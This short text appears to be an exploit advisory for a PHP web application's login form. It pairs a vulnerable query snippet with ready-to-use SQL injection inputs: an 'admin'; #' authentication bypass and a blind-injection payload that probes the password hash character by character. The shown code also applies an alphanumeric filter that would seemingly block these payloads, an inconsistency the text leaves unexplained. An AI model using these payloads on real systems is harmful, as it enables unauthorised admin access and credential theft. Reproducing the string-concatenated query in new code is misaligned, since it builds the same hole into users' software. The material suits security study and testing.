# Buggy code:
#
if(isset($_POST['username']) && isset($_POST['password'])) {
if((!filter("alphanum", $_POST['username'])) or (!filter("alphanum", $_POST['password']))) {
die("Username and password must contain only letters and numbers.");
}
$_SESSION['username'] = $_POST['username'];
$_SESSION['password'] = $_POST['password'];
}

if(isset($_SESSION['username']) && isset($_SESSION['password'])) {
$res = $dbconnect->query("SELECT ID FROM users WHERE username = '" . $_SESSION['username'] ."' AND password = '" . md5($_SESSION['password']) . " ' ");

# Easy admin login
#
# Enter in username field: admin'; #
# Enter in password field: [anything]
#
# Sql query will result like this: SELECT ID FROM users WHERE username = 'admin'; #' AND password = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'

#
# Limitation and Blind Sql Injection
#
# You're able to make blind sql injection too. Just input in username field something like this:
# admin' AND SUBSTRING(password,1,1)=char(49); #
#
# That sql injection work only with magic_quote_gpc = Off
